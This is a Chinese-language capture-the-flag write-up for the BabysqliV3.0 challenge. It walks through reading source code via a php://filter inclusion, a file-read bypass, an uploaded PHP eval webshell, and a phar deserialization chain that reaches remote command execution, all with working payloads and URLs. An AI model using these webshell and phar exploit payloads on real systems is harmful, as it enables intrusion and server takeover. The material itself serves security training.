[GXYCTF2019]BabysqliV3.0
题目是Babysqli,具有一定误导性,会让做题者认为需要sql注入,实际上打开连接输入弱口令:
即可进入
至此应该可以看出来是一个文件上传的题目,点击右键查看源代码,未发现有效信息,
在地址栏发现?file=upload,如果需要读取源码,从此处猜测应该是需要构造一个伪协议。从题目上来说,需要查看源码进行代码审计,于是构造一个payload:
http://d9dda7b1-60e6-4be2-ba3c-0a67b283c47f.node4.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=upload
这里需要注意,查看upload.php源代码,后面的resource需要等于upload,不要加.php,程序会自动添加.php,如果添加.php系统自动转化为.fxxkyou!。就会成以下结果:
于是我们构造两个payload,一个查看home的源代码,一个查看upload的源代码,分别是以下代码:
http://d9dda7b1-60e6-4be2-ba3c-0a67b283c47f.node4.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=home
http://d9dda7b1-60e6-4be2-ba3c-0a67b283c47f.node4.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=upload
输入构造的home源代码payload如下图:
需要对以上输出的编码进行解码:
以上解码后的代码即是home.php代码:
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
?>
同理获得upload.php源代码:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
------------------------------------------开------始------作------答-------------------------------------------------------------------------------------
非预期解1:
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
根据以上代码。我们可以看到其中有file_get_contents($uploader)方法,读取文件内容。根据代码分析,网站目录下肯定有一个文件为flag,我们可以利用这个读取文件的函数,读取flag文件,而且,文中并没有对flag进行过滤,因此可以通过将Filename参数改为flag的路径来读取flag信息。
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
正好在以上代码中,有设置Filename的方法,就是get到name,控制name的值,改变Filename,我们可以把name参数作为Filename,payload后面为:/home.php?file=upload&name=/var/www/html/flag.php,先访问一下,然后上传一个规则内的文件,伴随着/home.php?file=upload&name=/var/www/html/flag.php一起提交。
即可得到flag{d12cc148-9a0c-464f-8b3e-257b3587e3b2}
非预期解2
由以上代码分析,该上传文件没有过滤php文件,即可直接上传php文件,连接一句话木马,进行直接输出flag。(也可以上传完一句话木马之后,通过蚁剑连接,找到flag)
写a.php文件代码如下:
<?php
@eval($_GET['hack']);
?>
选择a.php文件上传
上传的同时使用bp抓包,修改hack参数。,bp界面如下:
网站的payload如下:
查询出来有flag.php,使用cat进行读取:
cat的payload为:(注意中间的空格需要用url编码更换)http://abfcde4a-2eee-4bc8-b3ad-9392c1bb3fa6.node4.buuoj.cn:81/a.php?hack=system(%27cat%20flag.php%27);
payload加载以后,界面为空,点击右键查看源代码,即可找到flag;
使用bp截图如下:
flag{a5685ea4-e60f-4eb4-9934-0eda3dcd643b}
预期解
审计 upload.php 代码,发现eval($this->cmd);类似于一句话木马的操作,如果能够触发这个方法,那么就可以使用类似cmd='echo system(eval($_GET["hack"]);'这种方法传入一个新的参数hack,再令hack参数为cat flag.php读取flag。
如果需要触发eval($this->cmd);那么就需要$this->token = $_SESSION['user'],如果需要执行$this->token = $_SESSION['user'],就需要执行__destruct()方法。
__destruct()该方法为析构函数。只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁⼀个对象之前执⾏⼀些特定的操作,例如关闭⽂件、释放结果集等。
换言之,就是该程序会在马上结束全部程序的时候自动执行该函数。eval($this->cmd);根据this指针,需要new一个Uploader。
接着分析以下代码:
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
上传一个文件,使得uploader这个对象,可以调用他自身的upload方法传入一个文件,那么我们开始看upload这个方法:
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
定义两个全局变量,global $sandbox;global $ext;前者是路径,后者是后缀名,我们可以看到,正则匹配,文件名不允许a-z0-9这些字符。
例如:[^a-zA-Z] 简单来说就是任意一个非字母的字符,虽然可以匹配除字母之外的任意字符,但只能是一个,不是多个。
如果想匹配多个非字母的字符,需要在后面加量词修饰,如[^a-zA-Z]+ 表示1个或多个非字母字符。[^a-zA-Z]{5,10} 给示5到10个除字母之外的字符。
因此,[^a-z0-9]的意思就是该文件名不能是小写字母和数字开头的,否则输出illegal filename! 且文件大小必须小于1024。
接着往下走,我们下面可以看到该文件中还有包含着两个魔术函数PHP: 魔术方法 - Manual
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
一个是__toString方法,一个是__destruct方法,__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;
应该显示些什么。__destruct方法上面已经讲过。
因此,如果需要执行__toString方法,需要一个upload对象,被当作字符串进行echo,我们可以看到在echo file_get_contents($uploader);这串代码里,对象$uploader被读取内容后,被当作字符串输出,这时候就会调用__toString方法,__toString方法调用后,回返回一个$this->Filename;
而这个Filename我们分析:
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
Filename由name传递参数得到。如果传入phar://文件
,就会通过file_get_contents()进行反序列化操作,执行cmd。
分析完毕开始操作
我们先根据网站提示上传一个符合条件的txt文档:
可以看到,网站自动输出文件路径,结合 upload.php文件进行分析,
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
//getcwd取得当前工作目录,成功则返回当前工作目录,失败返回 false。
//网站输出为/var/www/html/uploads/df4d4167ab7e573ffe9b4fd92b19c4e9/GXY4de07d94caf018e1453439fff2b2375b.txt
//即getcwd为/var/www/html/,md5($_SESSION['user'])为df4d4167ab7e573ffe9b4fd92b19c4e9,
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
//这里可以看到GXY4de07d94caf018e1453439fff2b2375b.txt就是$_SESSION['user'].$ext
}
根据以上代码分析,可以得到$_SESSION['user']为GXY4de07d94caf018e1453439fff2b2375b
构造payload文件:phar.php
<?php
class Uploader{
public $Filename = 'aaa';
//public $cmd ='echo phpinfo();';//可先用此测试
public $cmd ='echo system($_GET["hack"]);';//传递一个可控hack参数
public $token ='GXY4de07d94caf018e1453439fff2b2375b';//先上串一个合法文件得到session['user']
}
@unlink("demo.phar");
$phar = new Phar("demo.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF8a<?php __HALT_COMPILER();?>");
$o = new Uploader();
$phar -> setMetadata($o);//将自定义的meta-data存入manifest
$phar -> addFromString("text.txt","test");//添加要压缩的文件
//签名自动计算
$phar -> stopBuffering();
?>
运行以上代码,在当前目录生成文件demo.phar(注意:运行当前代码,需要修改php.ini中的phar.readonly = On 改成 Off,且注意phar.readonly前面的;记得去除)
运行phar.php代码:
当前目录生成dem.php文件:
上传demo.phar文件到网站。
使用bp抓包,构造如下payload:
/home.php?file=upload&name=phar:///var/www/html/uploads/df4d4167ab7e573ffe9b4fd92b19c4e9/GXY4de07d94caf018e1453439fff2b2375b.txt/aaa&hack=ls
可以看到bp右边已经有结果出现,ls查询到了有flag.php,那么为我们把传进去的hack参数改为(cat%20flag.php)即可获得flag
回顾:
攻击链:
file_get_contents()使$uploader对象通过__toString()返回$this->Filename,
由于phar://伪协议可以不依赖unserialize()直接进行反序列化操作,加之$this->Filename可控,因此此处通过name传参,$this->Filename配合phar反序列化后,__destruct()方法eval($this->cmd);最终导致了远程代码执行。(注:我们自己写的phar.php中利用了__destruct()方法eval($this->cmd);cmd传递了我们自己的一个参数hack,我们在利用hack做了查询等语句)
public $cmd ='echo system($_GET["hack"]);';